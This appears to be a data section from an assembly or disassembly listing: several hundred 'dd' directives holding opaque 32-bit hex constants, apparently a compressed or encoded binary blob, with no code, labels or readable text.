		dd 3014800Fh, 0E8D520C0h, 4D11F713h, 0CE7B7461h, 2724730h
		dd 0D77786FCh, 4F3984Ah, 0A0BD7400h, 2289E8B6h,	10F94DF6h
		dd 653FB3Ah, 28175779h,	9A44792Ah, 3D737BFAh, 5100D5B5h
		dd 0CC29E9B8h, 82E44178h, 481A8729h, 704C0E80h,	7AEECFC6h
		dd 4DB326CEh, 40984410h, 91723665h, 1C400D3h, 6BA3943Bh
		dd 9C009082h, 6CEA4628h, 90E051F3h, 93389B20h, 0A29C3436h
		dd 0BB491C88h, 3F009D9Dh, 2097E794h, 30A65BC4h,	6B742A6Ch
		dd 0B154B000h, 3DC3272h, 733A004Ah, 0A97EEC8Bh,	944E0692h
		dd 54840824h, 30034CB6h, 401913D3h, 20EA4EE0h, 2B3A4F00h
		dd 3506BE28h, 7BBCAC88h, 1B9304D6h, 0B495599Ch,	0A6887550h
		dd 0ACCD0298h, 92579040h, 6A0BB06Ch, 8CA0DF80h,	0DD1116h
		dd 9F6B4CDh, 7F495CE7h,	0A34490BEh, 440568E4h, 7444A283h
		dd 14A7022h, 0F9C90986h, 65A8EE4Dh, 94F427A8h, 28D0D290h
		dd 49CA2Eh, 64594B40h, 0EE9E55E0h, 2AC1DCEBh, 0AE54B302h
		dd 6BE28A95h, 0D861A5ACh, 1878F97Fh, 0ABA214A0h, 4BE73D01h
		dd 9308F0F8h, 5A0730F2h, 6A1B900Bh, 754CC74h, 0D2CA1EDBh
		dd 5188E032h, 4F023E33h, 84D9F0B5h, 5B885858h, 86A43235h
		dd 0E8CA9120h, 0A39B0171h
		dd 0C1AEDBA0h, 50068F9h, 2A9312A6h, 4C1D98F7h, 4AEB00CBh
		dd 0BF9BE929h, 46AFB107h, 0D81A21FEh, 70AD9A0Ah, 80CC2463h
		dd 0AC765DBh, 0B7E5D835h, 0D8CD45F0h, 0E0095768h, 70A615Ah
		dd 22A94EE6h, 29520B18h, 5F8C8804h, 0E0240212h,	250A49Ch
		dd 8408A4E7h, 50EA2136h, 0BB114822h, 7DD3BCC0h,	0C0FDB101h
		dd 61D1F3CAh, 330442Ah,	90C95374h, 13AF11D0h, 0D0D9FAFEh
		dd 0A1332B14h, 575C792Eh, 82940B00h, 9C44233Eh,	4C0D08F4h
		dd 28BCA69Eh, 0FC4B080Bh, 87987442h, 0B0884609h, 840A3A98h
		dd 2D340509h, 90EE54CCh, 6F163Ch, 6B86C921h, 0EA311DE4h
		dd 3046823Fh, 5688758h,	304169C3h, 8F40EF00h, 259EA056h
		dd 50682E5Ch, 44845F0Bh, 77008083h, 0EC5608Ch, 2B5EEDAh
		dd 1825F2AAh, 0E851A816h, 1504AF80h, 0D76D87h, 7D3A3DBDh
		dd 2DA4AD5h, 7323320Ah,	0F006CC2h, 610DFD5Bh, 0CCD75C80h
		dd 8E9F68A7h, 6DB8DA40h, 2DC4CD7Fh, 4811636Ch, 17C76E2h
		dd 750E592Eh, 0B4ECDCB6h, 0FE130007h, 0E5356E1Ah, 2D413DD7h
		dd 8970E1CEh, 0A6E91F13h, 4039AFh, 0DBE5C397h, 0EE938A2h
		dd 0F1F36240h, 982A6125h, 85450B9Ch, 8AA41C20h,	0DDA4E07Fh
		dd 430103CFh, 7E282942h, 75E8E6CDh, 0E0108700h,	69842154h
		dd 244300B6h, 0CA732ADh, 0CB121993h, 8C213486h,	0E1108CAAh
		dd 8403AD77h, 0DF36163h, 0D0A2F56Dh, 10088CC0h,	840173B4h
		dd 0B95FB7DFh, 4069DDF4h, 0EBC62400h, 0A5623565h, 9B5744h
		dd 0D249AB82h, 4EF14A2h, 0D0ACA100h, 0B27F675Ah, 0BE1490C7h
		dd 89B76034h, 7100FA7Bh, 4E412ACh, 200F39EDh, 58F68B11h
		dd 768E588h, 0A20B64D0h, 4CC8406Dh, 9A00D524h, 0D76615B2h
		dd 4E0C2A1h, 5E43855Dh,	2B38C814h, 4917C309h, 0D9F010A1h
		dd 9F9B0F4Ah, 2979D1D0h, 422E5h, 0E70431B5h, 0BD391Dh
		dd 1CFCCBC0h, 0B8D1CC7Dh, 64980753h, 4E405FA0h,	0D45C6F6Eh
		dd 2D6AC300h, 275D41E1h, 28DD00A3h, 4761FE1Eh, 0DC025CDEh
		dd 806F423Eh, 600D3F9h,	51822557h, 17316A3Ch, 0EC28C0DEh
		dd 18BC029Ah, 0DA23BD94h, 5C514484h, 5C4D3A01h,	35E833FCh
		dd 8B60027h, 0BEB552A9h, 802F0BCAh, 5B8498CBh, 940A02Ch
		dd 0EC358981h, 0CC2613FBh, 0F7E068D6h, 4E6289Eh, 0BB62BAC9h
		dd 0E708802Ah, 0B229ABB7h, 8511A8F3h, 59CDE600h, 1025D691h
		dd 38A9C62Ch, 1CDF0440h, 3840078Bh, 90F8AA51h, 0F585FDB8h
		dd 60A00519h, 0D05C3628h, 0F1CC00B2h, 0D465159Fh, 0B45C26FFh
		dd 12B30BE7h, 40EC42D7h, 844ECF84h, 0D9069637h,	0F821A18Dh
		dd 24571000h, 176A898Eh, 0C29F0442h, 4C14F2BCh,	83C32C35h
		dd 0C6E012A8h, 5612BFFFh, 88923319h, 11EC2A81h,	92977C88h
		dd 0BC5C56B0h, 29F50D4h, 79A96272h, 622294Dh, 0CE121152h
		dd 0B2608929h, 75A86154h, 0AC39D017h, 7B00BEC0h, 2AFD97D1h
		dd 0A3B5540Fh, 31D90997h, 9894F47Fh, 349244h, 2B02A2C1h
		dd 0F840CBFFh, 0B90DB43Bh, 0B009AF53h, 71DA0E0h, 72BAF1DCh
		dd 9D1B80BBh, 10132E6Ah, 0E4913D9Bh, 0D108C02h,	0AD4A91B8h
		dd 0AFEFF860h, 326B0C0Ch, 5E04DF3h, 77DC7953h, 0CD2B0484h
		dd 0CCBD5EC5h, 834416C4h, 1A0B0C73h, 35E91CE7h,	6C213D5Eh
		dd 0E5CB7996h, 0B601E4A6h, 0E18FFEF3h, 29C5D06Dh, 70D9C800h
		dd 50F61939h, 0A074B94Dh, 47F95834h, 727A2202h,	80E4B120h
		dd 79711002h, 0C0B93192h, 34B4BF59h, 0B268EFE8h, 0CAC401E4h
		dd 0CF0AE397h, 9B089988h, 0D7403C44h, 8051CE0Fh, 0F56DCA0Eh
		dd 136E84C7h, 52E09681h, 0EC35F852h, 43A20044h,	2F4710D2h
		dd 3F0C5DE2h, 7994AED3h, 6AC600A0h, 11BC5FA7h, 0D404BF36h
		dd 0D9CD18CEh, 79B0B4h,	76EF7114h, 60E37C85h, 84EC6358h
		dd 36458F16h, 0FCE38Ch,	2239584h, 76A055B4h, 823D0021h
		dd 3B58E381h, 0F8AE9060h, 5C08ADF2h, 204192B6h,	7F5F4428h
		dd 64402702h, 400E3A44h, 0DF580Dh, 26F83960h, 26D3FD3h
		dd 5CA2977Dh, 990E04D8h, 0EC0E66DFh, 7F7FA9F1h,	0B204E3AAh
		dd 0A0A29354h, 6680533Fh, 972BE922h, 2879F7E1h,	2CCCEB3Bh
		dd 390C2C08h, 981269A8h, 0E07496C8h, 8E330B27h,	4A03039h
		dd 62748455h, 7B4866C2h, 0C59B00D0h, 38C060F3h,	0FF4A4500h
		dd 0C37791FAh, 3FDA07FCh, 39D58476h, 8F4FB461h,	0A2882E61h
		dd 0E4855A9Ah, 2C707A80h, 2CFB9FE2h, 0F207E2B8h, 0B7274F40h
		dd 0C48670Fh, 0E0C442C8h, 5CC4B3h, 879FC224h, 64F4F337h
		dd 2B82AF17h, 28303452h, 447C291h, 57AFF608h, 3674E0F1h
		dd 396C9E51h, 0CB007458h, 59BB18E0h, 25B735BCh,	7C14083Bh
		dd 0DB10A404h, 6CD1ABEBh, 7088013h, 0BEE14D44h,	0E954A4BCh
		dd 0FC5650B2h, 0AC660F9Fh, 0F57805CBh, 0AA80F4A2h, 13A9D2C6h
		dd 6DC02D00h, 4EBBE56Fh, 0C2EB0227h, 0D457C1B1h, 0A6DAD490h
		dd 0C4307300h, 251FF9BBh, 0D83C006Eh, 2B6F202Ah, 0AC02B219h
		dd 4684566h, 0A4D0598Ch, 0C1DE1E4Ch, 50D37BF3h,	0D200381Fh
		dd 59ECC8h, 3DE1044Ah, 55B0D2BEh, 0D0F99C62h, 1962192h
		dd 38382A8Bh, 0D01C9536h, 0F40014B9h, 0AFD5B9E4h, 33E70145h
		dd 3132FC8Fh, 0F70BCCCDh, 0C79CF00Ch, 9D0249EAh, 0A07CA494h
		dd 64DF4C00h, 0E2F87C94h, 4953009Ah, 0E50A9BD4h, 8C53379Ch
		dd 170E21D0h, 0A80D232h, 27AF5C59h, 0C1EB06C8h,	707731F4h
		dd 4BF9A800h, 599231Ch,	590C59C9h, 0B0E16248h, 0F100C064h
		dd 0B701788Ch, 38CA4214h, 4B119C7Fh, 125878Fh, 48BECB82h
		dd 158E2E8h, 6BD4CD9Dh,	8C3129C0h, 5985ACA1h, 21620AFBh
		dd 93C8BC20h, 8CA06h, 9ACBDDB7h, 693885DFh, 1824F12Fh
		dd 3436443Ch, 960C9CE2h, 2D498E0Ah, 68AF9E27h, 0AB2048h
		dd 7C0AF1A3h, 0DF1B2AE5h, 80E9703Ah, 0D00379FBh, 4B806134h
		dd 47283015h, 6B889CE0h, 3A0A00A5h, 0A4BFDC66h,	0AB00EEB3h
		dd 6B472E0h, 18D075F3h,	310A8788h, 0F836648Dh, 0A518512Ah
		dd 94CB08C4h, 149D48A8h, 77EB0150h, 0FB601197h,	11A47D8Ch
		dd 0E04136CFh, 0AAA1C03Ch, 0D8853B7Dh, 52F09Ch,	599A961Eh
		dd 4CA07811h, 0E4696401h, 0D832FD16h, 0B0202025h, 556749Bh
		dd 17985AF0h, 44B0612Ah, 4885088Bh, 4F224448h, 8E4D3C90h
		dd 199C8C24h, 3887450Fh, 0E6448098h, 5F08CDFAh,	0E69C525Ch
		dd 1C8496Ch, 1A5755BFh,	0C3064D4h, 0CE2804F0h, 0F72DDD6Ch
		dd 396129Ch, 86CC1488h,	7C0842h, 0DF5E7945h, 0DCD786C8h
		dd 83F097E8h, 5C5308C1h, 2082988Fh, 0DEEFF8D9h,	297C3107h
		dd 60290768h, 11FF772Fh, 81A66351h, 2BE7F18h, 0D6D02A44h
		dd 49FA003Fh, 28DF5C35h, 0A706DB19h, 0D7365DFDh, 64EB0049h
		dd 0D22931A8h, 7C6F4D24h, 1A003169h, 4E96F56Ch,	0FEE2AF89h
		dd 1D684558h, 0DE86C232h, 302852F1h, 0DF08D9F4h, 750F3F40h
		dd 8530AA7Eh, 9FB0D84Bh, 0D1EE63B7h, 1A42DFEh, 0BC4387BEh
		dd 33EA7A20h, 9318BB33h, 86282800h, 877185ABh, 0C31DFDAh
		dd 0B271A322h, 0A48490A8h, 0B7320B00h, 85CAB819h, 0EED9011Dh
		dd 0EBA2437Eh, 843099D6h, 0A440E240h, 895AED37h, 0D25184DFh
		dd 20187E42h, 610846B6h, 0A227CC5Ch, 0EF3130CCh, 0E17EE039h
		dd 0F3A70300h, 875363DFh, 9CACC13Ah, 5C835095h,	0B43848D8h
		dd 5D858EEEh, 7DB74225h, 0A4800E96h, 6735AAD5h,	7028DA28h
		dd 2DA1C167h, 685B9AE0h, 530B81DDh, 0B19620F4h,	66058703h
		dd 0B8ED837Eh, 1F1C1581h
		dd 0CA24F1D3h, 5180A329h, 13DACD86h, 0F869F6D2h, 0C314888h
		dd 4E0C8680h, 147A73F6h, 8F381E66h, 886F5528h, 4434A818h
		dd 1E079FEBh, 0F0B29331h, 79D76370h, 990C006Dh,	5DE77F1Fh
		dd 230FBE3Fh, 0C8896684h, 0F4993C87h, 0E85789FDh, 0B37170D3h
		dd 1A4EED1Fh, 0C044B8CFh, 0D97F7972h, 8504917h,	643128h
		dd 147DD484h, 3355A5ACh, 29DF44h, 0B1269C43h, 0D1E27A79h
		dd 5C556BF0h, 2087DCF4h, 9501FCA4h, 6893B626h, 1D836F8h
		dd 0A0C7485Ah, 5F57E400h, 0C1B00C31h, 0EDD58611h, 4D004453h
		dd 7AE7B530h, 3B7C495Bh, 86ABAF2Eh, 38E5D900h, 0EDDCFCDBh
		dd 9158E560h, 2FDA8098h, 0FCB3432Eh, 29CB5700h,	0D1BE23A1h
		dd 3E37901h, 0B2C2ED42h, 21D088C1h, 0E0013B0h, 199328DDh
		dd 17D73ABh, 86A375E6h,	33C8E8D6h, 0FB180C04h, 0E969F4h
		dd 0D40113ADh, 31891C77h, 7C2BB007h, 804A9920h,	9C579C0Ah
		dd 1F804F87h, 0D8198D00h, 0A1D7309Fh, 4599E118h, 0B5621A0Fh
		dd 603213C1h, 727F20DAh, 0A000DC33h, 5CBC3803h,	0CD2506Eh
		dd 2D9CF74Fh, 4000B361h, 0A370FA73h, 6461988h, 3338727Ch
		dd 0BB0049D4h, 8F068E30h, 7AF135Bh, 0D1B9A383h,	58E0B0A8h
		dd 1703282Dh, 14D9C115h, 53593856h, 18D2ECC8h, 0CD4219FCh
		dd 2C6F7312h, 0C45E2D1Eh, 10E30540h, 2DD6E33h, 731B47D7h
		dd 2E4071B6h, 20377E02h, 0BF40E180h, 9880856h, 338239CEh
		dd 0C09B7818h, 247DF700h, 0ADE86F05h, 77A0052h,	0ED0A2892h
		dd 951D04ABh, 358026C7h, 820E483Dh, 0D9DD13F6h,	468430F9h
		dd 4B00EE79h, 0B5A87DE7h, 6275F50h, 9CC1B6B3h, 9F5C2958h
		dd 80DE3CEFh, 0BEC76930h, 0DC815B2Dh, 225740A9h, 0AA646199h
		dd 15FA0A00h, 7C0CDB3Bh, 0D6D91D24h, 0FB7B4048h, 7A6039EDh
		dd 7B83152h, 0F788BB59h, 0FDE29560h, 7BDA26E6h,	84726060h
		dd 40006CE5h, 0EE608E6Eh, 9A5C1FD5h, 1376FA88h,	5F8188h
		dd 4D5DC9DCh, 0B278374Bh, 4E92100Fh, 7827D6D2h,	0D97CBCC0h
		dd 29AF74CEh, 0E09DEAh,	0CC2EB855h, 4301B2E2h, 0C09F5457h
		dd 906429FBh, 425B24E6h, 81934440h, 100E9A88h, 0C3D53329h
		dd 0B239D2B1h, 68FFF6F8h, 0B59F6600h, 49ECE853h, 54ED122Dh
		dd 281440C2h, 5CD2BB34h, 0E7507251h, 1707D978h,	68781E35h
		dd 0BB6C16C0h, 7E7AD4h,	5BED541Ah, 0F4CCBE29h, 0AA24A3Ah
		dd 88C5CF9Eh, 90105500h, 0B0A39F2Fh, 34F500BCh,	9A8E7E4Bh
		dd 0AD64DC38h, 0BE5D29F8h, 0D320AF00h, 3EA017C2h, 0F7EF5F09h
		dd 898C00DCh, 46FDBB4h,	0B8DFB68Ch, 0CDF09098h,	0A3501659h
		dd 5380DBC4h, 0D9F76554h, 0BF10885Bh, 16013DF6h, 0C1EF910Ah
		dd 0C460B48Fh, 0DE9D22FFh, 80F1F46Fh, 0C1F989FEh, 0B3C22C2Fh
		dd 86A16044h, 0BC006876h, 3282BB2Ah, 90B777C0h,	3E564450h
		dd 0BDBAF800h, 0C8C3AF5h, 5B8411C2h, 7F371280h,	69CEE11Dh
		dd 0E0788A17h, 0A911EE08h, 0BC8D8ED8h, 806D9624h, 0FD544059h
		dd 0C1DB6A00h, 24F04FE2h, 0E3F22C7Bh, 0CB7F000Ch, 865B7CB5h
		dd 0A0F769C2h, 2D76601Ch, 0FB3B1C60h, 90D5803Fh, 828EEBB5h
		dd 88BA477Fh, 7568A5Ch,	252C7AA0h, 0FB7D7C50h, 96093DBAh
		dd 0C09DE103h, 990A5403h, 88C35953h, 0E3370B84h, 9E6788C0h
		dd 0C81F88B6h, 0F7BE8C1Ch, 22800CECh, 16C07FF0h, 34B000FBh
		dd 846D3320h, 6A0006D9h, 0F224B1C6h, 3E914A7Dh,	1182753h
		dd 0EC317189h, 67BF01E9h, 0F4BC8h, 64E12960h, 783CF4C9h
		dd 0A3614502h, 40BEA26Fh, 48DFFB18h, 0F4891458h, 0DAE70810h
		dd 0D99D800h, 33926D3Bh, 0A20638B7h, 8B1F8F85h,	558CC16Fh
		dd 882810A4h, 7D4314E6h, 309488CCh, 7C11FA21h, 87B82F00h
		dd 0C2DD61EEh, 0DA1108B0h, 1444C3A3h, 214C009Ah, 61DB4F6Ah
		dd 0BC0135B7h, 0A1B14D7Fh, 87117EBh, 5A585810h,	12BA003Ah
		dd 3D246E4Bh, 88037592h, 0EFBFFAA3h, 0C96810C2h, 458400C8h
		dd 0D9DB8C11h, 0D86755FBh, 285808h, 0A984A386h,	0F91E1AC0h
		dd 9AD93401h, 0DCD2878Fh, 0F05B2440h, 6982083Fh, 378054A0h
		dd 1C0A8F3Bh, 8ECD0330h, 0BA6C2288h, 0E940EEEBh, 0E08B7E88h
		dd 71E29C2Fh, 59D0F5B0h, 5AAE1B65h, 0D49159BCh,	0F47192E7h
		dd 64D1420h, 6A5100A0h,	59CFB97Fh, 2C00DE03h, 32C414DCh
		dd 25995D90h, 54105FD1h, 0F80E49EDh, 4C8AA381h,	89C590BEh
		dd 4952F5D9h, 15DEE584h, 195C3C0Ch, 0D69EC31h, 76D1E392h
		dd 0E1F46021h, 875B4318h, 14F5311h, 7A41558Ch, 0E84E52E5h
		dd 0B60430EBh, 0BB4C3484h, 20C020C2h, 713329Fh,	0F78B2304h
		dd 0F8C0B5A3h, 0C59B495h, 9443D256h, 0C6054759h, 0AD874F7Ch
		dd 7D88C020h, 7EE22CA2h, 0D11E0F10h, 8631784Ch,	49B9D86Fh
		dd 3650057Ch, 4072F4DCh, 7F4CBE6Ah, 47A1C380h, 0B6898E2h
		dd 74D25C46h, 149BAC0h,	85E0FF6Fh, 5CB6350Fh, 60C96C23h
		dd 0DDDE2286h, 8C96B8C8h, 1F41539Ch, 0C0727100h, 679EA88Bh
		dd 9827631h, 6591D135h,	0FE0B6CA3h, 885BD6B8h, 0E77C41CFh
		dd 0F2408BE7h, 2E4C697h, 0CCED706Dh, 4E61B3ECh,	0FC1070D3h
		dd 28DE8222h, 304048D2h, 0D419109Fh, 0E0004D13h, 4A8BAD3Eh
		dd 0FE095Ah, 66D1ED71h,	6221D935h, 37A489C5h, 7C61908Ch
		dd 25FC0051h, 35462106h, 9574D07Eh, 0E89F5F26h,	0E3DD2740h
		dd 70B7588Bh, 0EB5B317h, 29C137C4h, 52BB0BDEh, 0E098DF94h
		dd 0C70D1BEh, 0DBCA30Ch, 819D2h, 0CEBB8203h, 0AD61A80Eh
		dd 5758040Fh, 1CA6214Bh, 3C83C8DAh, 7E3B527Fh, 2CC043A3h
		dd 997CAD49h, 18B023FDh, 0F428C909h, 0F1070196h, 0A3A12AA2h
		dd 84EC634h, 7D8967F8h,	0C080BCC5h, 0DACFE10h, 5800E287h
		dd 34176C7Fh, 1852A29Bh, 188681A9h, 9FFA24D2h, 0D70A7C96h
		dd 1F00E4C5h, 2FC9D982h, 891000DCh, 8148DB9Bh, 79D235D5h
		dd 4A6488h, 146B3893h, 219AA322h, 0A45B9F00h, 33318F6Eh
		dd 0C5F496C8h, 7F728049h, 0EF48EE77h, 281960DDh, 1284BB37h
		dd 304762A3h, 1C3252B4h, 0FD05BF00h, 3A4E4837h,	0C68E00A9h
		dd 0B1E7E9Ah, 7D0FBB56h, 3F4CB443h, 11088C82h, 585040EEh
		dd 47F4AC7h, 4654FE44h,	4899D831h, 25245410h, 0C60302C8h
		dd 0AC486036h, 0FCA03273h, 43044E6Ch, 5B5142D2h, 0DCD4D091h
		dd 0ACCD8710h, 0D859EF16h, 3BD1828h, 280908EAh,	8CE89DD9h
		dd 449AC531h, 0C0E47E58h, 49D26DAAh, 5FAD003Fh,	0BB6861B5h
		dd 0E7004F90h, 0BD8798F3h, 1D6D9CFh, 0C6CD43ECh, 42CA5AEFh
		dd 0B7208738h, 41389h, 0BDD663E1h, 1CDE0F78h, 6943A31Ch
		dd 5CAD86CAh, 0C1D37B85h, 731C7814h, 22F4B502h,	0E681E391h
		dd 0FECE0068h, 7A9AA56Ch, 12041690h, 15D97FBBh,	0B8D8A4h
		dd 0DEA09942h, 0ED380296h, 59F85152h, 72AD0040h, 0A39E7E41h
		dd 0FCEC0914h, 8000427Ch, 4891CFBEh, 0BB386E09h, 46E468F4h
		dd 0F3530051h, 0FB6D0818h, 1400B245h, 71CC287Eh, 130CEC2Bh
		dd 245ED2CBh, 0F7D80B18h, 15EA5410h, 0AA499CF2h, 1A4E0080h
		dd 2539A5DBh, 17AF0DEh,	0C3FAD5AEh, 20E8F64Dh, 90C0BCACh
		dd 0D45F4E14h, 601C0517h, 0D316FDA2h, 7846810h,	34005CBEh
		dd 1660A64h, 107CF2C9h,	3DDC5ED0h, 67AA8088h, 0CD93A4h
		dd 44C6AD4Ah, 0D11B4B8Ah, 0B9824531h, 0CC489086h, 684150D2h
		dd 47F74E8Ah, 44A38F70h, 4CE889DDh, 0C700BCC0h,	0A96F9D70h
		dd 2604B5BAh, 6388D650h, 5100855Bh, 4ADAC47Fh, 1B56F9h
		dd 0D6AA0144h, 3B1731EBh
		dd 5C26F0Bh, 0E52490F4h, 892F0E82h, 0B2C552D5h,	51EC1F25h
		dd 0D61016C3h, 820B6007h, 0B9C1D376h, 0B11503B0h, 27916F79h
		dd 21CC4AC5h, 48E03050h, 10BAB3F7h, 0E6A5BF00h,	7938541Ah
		dd 0DAE413BDh, 0A886002Ah, 3BA9D189h, 98F28E09h, 54440A2Dh
		dd 0E9920A60h, 129901BFh, 0B5E3AFC3h, 81ABF89Dh, 29C1B700h
		dd 20CB76E7h, 0B07F45Dh, 0C068A592h, 40D2C282h,	9C4C3072h
		dd 933D8014h, 3D032E21h, 0F7E1E8h, 65FB7668h, 317A9D74h
		dd 19457CA0h, 28AD1000h, 63C12B40h, 0A7951324h,	0D2608184h
		dd 882AC67Bh, 5038CA87h, 64921Bh, 7243E584h, 9D84B69Dh
		dd 32440037h, 655642B1h, 52D2200h, 0D05A74E2h, 76FF0B47h
		dd 748317C8h, 0F4A21D6Fh, 5200A8DAh, 890F7C25h,	0B49BFAh
		dd 9E6F922Bh, 0EFD370CDh, 77919302h, 52E5698Ch,	1704907Ch
		dd 3DAF43h, 0AB0AAE8Dh,	792E7345h, 0AD0DC082h, 5C31F1D6h
		dd 52DBC700h, 56B80796h, 0C1C43801h, 0E1C64428h, 29E8200Ah
		dd 0E813104Bh, 2270EC54h, 9DA89B79h, 81E500DAh,	0B57F0952h
		dd 34FCC15Ch, 9000215Fh, 0A336EFD1h, 874E3A96h,	0B1F8F17h
		dd 0E41003A0h, 6A125CB8h, 44305A0Eh, 25371DF2h,	6A7CCBBEh
		dd 33384F04h, 374E4F4h,	0B0F8580Ch, 56D10275h, 0F42C206Ah
		dd 4BA4B554h, 103DA58h,	0ED2854F7h, 0CCF81409h,	87230062h
		dd 0D45E354Eh, 472EA3F3h, 0E3891CC3h, 0D87838F6h, 58E12C0Ch
		dd 1C06084h, 0AD13B810h, 3C42BED1h, 0E17D8E16h,	0ED10D860h
		dd 852D0842h, 187C09DCh, 120B7DE0h, 905CD254h, 25C6371Ch
		dd 0F7C07361h, 0D903827Ch, 80B4B284h, 0A3130FCEh, 6ABC00A8h
		dd 9EEE82D6h, 5DE85360h, 2989B4Ch, 0FDB0E389h, 5C7012h
		dd 6E5CB637h, 51D2F0EEh, 71B5A516h, 4EE2041Eh, 0A05030C6h
		dd 51030333h, 4BAF554Fh, 9DF3A80Dh, 0F28900E9h,	0D01D83F6h
		dd 0DB3D3867h, 478F78Eh, 15A94301h, 7F6663C9h, 16847660h
		dd 0B355853h, 0C482819Ch, 0B229DDDCh, 378CC000h, 418881F6h
		dd 13309098h, 0DF190FF4h, 0A760960Fh, 192ACC9Eh, 90ABC200h
		dd 0DC1ADA1h, 0B431C0D0h, 0D2A2939Ch, 10FFE001h, 781B70EFh
		dd 27F02D4h, 874F845Eh,	0F02AD7D8h, 64589411h, 933C560Eh
		dd 82079BE1h, 7F5840D8h, 0D101190Bh, 0BC29A2ACh, 4C7877D2h
		dd 1016094h, 717C41ADh,	9C699Dh, 7F2294D4h, 926B570h, 5B2EDC63h
		dd 0EA7CA410h, 0FFF7CD09h, 223C14F9h, 0E0B4271Ch, 10E87080h
		dd 98813617h, 0C16F00D3h, 74E5AA18h, 680557E6h,	0C008D790h
		dd 94D5A00Bh, 0CD7E01E0h, 7C5368AFh, 87B8C0D7h,	6014D551h
		dd 5F44030Ch, 546CEB53h, 0CB8352C8h, 0C9272D1Fh, 57F07508h
		dd 89462CABh, 0CC4512E8h, 20A855FCh, 74FCE429h,	0C5A7D81Eh
		dd 200D9F09h, 235FBE88h, 0FCDE3BECh, 82513416h,	292CA8h
		dd 0EFA8A9C0h, 8428AA54h, 8043ECB4h, 25F8C720h,	260092E8h
		dd 0B025F4Ah, 8C63A14h,	79208851h, 8EA0D580h, 58FDEDDAh
		dd 0E705CC26h, 0E46924D1h, 5614B6B8h, 378A003h,	0B1A8E983h
		dd 0A86D9BD8h, 48CA4E5h, 5B28B5EBh, 83D14082h, 0C709Ch
		dd 755A414Eh, 156A73BBh, 693B0A02h, 60065205h, 0C0EE31D4h
		dd 0CFD034B9h, 8C00A60Bh, 0E7A219B2h, 0DC95A3h,	0EB58CC49h
		dd 7FD9C3CBh, 480785Ch,	0C089BFF9h, 9C301CC5h, 13DC0821h
		dd 0D564DA86h, 0DFB44868h, 9F000CA6h, 37A262C5h, 98825CE0h
		dd 9422D041h, 25D0205Ah, 3200A8E7h, 11ACD72Bh, 0F2760D1Dh
		dd 7CED0165h, 5EE2707Dh, 0E4E5E7A1h, 0F172D330h, 0D850D600h
		dd 0A521B712h, 0FFED1DA9h, 7D0B001Bh, 589FEC3Ch, 0DE88A60Bh
		dd 0E22C00FEh, 0E35B0EF6h, 0FC0BC28h, 99C960DCh, 20AE0D25h
		dd 0A31910B8h, 64E4FE0h, 318420C8h, 25019290h, 0BDDA1AB3h
		dd 0F3C8435Fh, 0C7972E34h, 0BC20CFC8h, 4CE53B5Ch, 0D6CD4700h
		dd 3D558DFCh, 7B7C0E7Eh, 0B3E013h, 735C46E4h, 0A303FD1Ah
		dd 613439A1h, 0D1881311h, 37D8935Eh, 386FCFDh, 381E5583h
		dd 9E7AF0C1h, 8CA436h, 0CE0E6BCh, 4E0DAAA7h, 2EE92C00h
		dd 0B623D1B8h, 39950509h, 88F7642Bh, 3D1C62FCh,	6C807FE3h
		dd 0BA6D2DAh, 1830009Dh, 315F2CB6h, 2826ACDFh, 48245470h
		dd 0AFAB8200h, 0B13336A2h, 226F00F0h, 9AC65B88h, 0D3A49E03h
		dd 92C0F4E8h, 0ECA049FBh, 48F2D0h, 71298977h, 7EFF3B7Dh
		dd 340009Eh, 1D06793h, 31A0432Ch, 20E56F9Eh, 36007037h
		dd 94BB04DEh, 0B652D507h, 20551DD4h, 192FE23Ch,	0E1115A01h
		dd 0E88C3CF4h, 8EE42C5Dh, 0FE6C0298h, 846C4314h, 0F5A6BA07h
		dd 71C0EB3Ch, 9954538Dh, 6F1388h, 46107320h, 3E2E5FBCh
		dd 1037393h, 48DEE33Ch,	8322C8F9h, 0C3A4371Fh, 5C55C780h
		dd 2A3DB11h, 1534A67Fh,	8CCB4D20h, 3B806057h, 466D0079h
		dd 8BC4EDE7h, 0A99F00B7h, 56B54431h, 1C9480EFh,	833A4240h
		dd 701A0081h, 95D77279h, 7D71BC52h, 421457F3h, 40C03EC9h
		dd 590FFF57h, 85385A92h, 14F24A56h, 10047842h, 0A2D69FFEh
		dd 98DE0090h, 3A6A8802h, 491D092Ch, 9482A654h, 6312DFD5h
		dd 0A97DB0ECh, 224FC26h, 0D11D52A3h, 9C23715Fh,	6E31018Ch
		dd 0D38B3F01h, 0AE40CC5Ch, 0A4CEF500h, 441867D6h, 7D0D01A2h
		dd 7B835033h, 4587D031h, 0D08AB92Eh, 81F1B162h,	0D03C6F81h
		dd 0C0F262F1h, 54FDD9F4h, 0B4454C7Eh, 40480Ch, 9E6B2119h
		dd 13000B76h, 874C553Eh, 199C2C9h, 0A63B9A5Bh, 7D3335EAh
		dd 55341F74h, 0D785EC80h, 14E3DB8h, 92CCAB11h, 50064AAFh
		dd 6F59BEBCh, 9905D4B0h, 0F6E117A2h, 0DE279404h, 119C4940h
		dd 0A36FE0B3h, 7722D020h, 0D5EE500h, 0A75AEF9Eh, 0BB8CB7Ah
		dd 0B63F0818h, 24A4602h, 0E09EA478h, 1508014h, 822286DBh
		dd 29C28FDAh, 559800B4h, 7E51F2C1h, 0B60D315Fh,	4950158h
		dd 0A5299408h, 0ED1C6C64h, 0E0C26845h, 60625FFAh, 5BB8DE0h
		dd 15FBD9FEh, 52D091A0h, 0C0452F8Eh, 24088C06h,	0CE8B80D6h
		dd 0CB860E1Ah, 0F1592C00h, 0FADC0C25h, 0D2370910h, 0AC80A3A5h
		dd 0D118E624h, 10C8558h, 820D5CB6h, 0F3F5D2DEh,	0E03854DEh
		dd 55D8AD39h, 4D2A091Ch, 2F6FD740h, 7B32699h, 0F55C28F0h
		dd 0D447E070h, 0AA50D12Ch, 8F2839C4h, 0E62B86Ch, 5A1CFC8h
		dd 402C94E5h, 643E3B5Ch, 0B4006A37h, 0DEA2BFD4h, 3BFEDC6Ch
		dd 86148C08h, 2611B450h, 0DC48C3h, 0E888BA12h, 30487B90h
		dd 40C05A50h, 88B6DE9Eh, 0E6D406Ch, 65142FCEh, 55F6ED40h
		dd 30623E17h, 3DC2E98h,	61315B53h, 773EB8DFh, 69DC7E01h
		dd 0B57D8044h, 0B9617D3h, 3A11510h, 90E2F405h, 915E1D28h
		dd 2698E5F8h, 7C23431Fh, 7E810200h, 0A05BC448h,	50E3B5F0h
		dd 6A3594A1h, 80981487h, 6719980Ch, 43DB0EBh, 0D4A42EB9h
		dd 2A5D2238h, 187CBEh, 6B2AE583h, 0D923B355h, 70D8BF31h
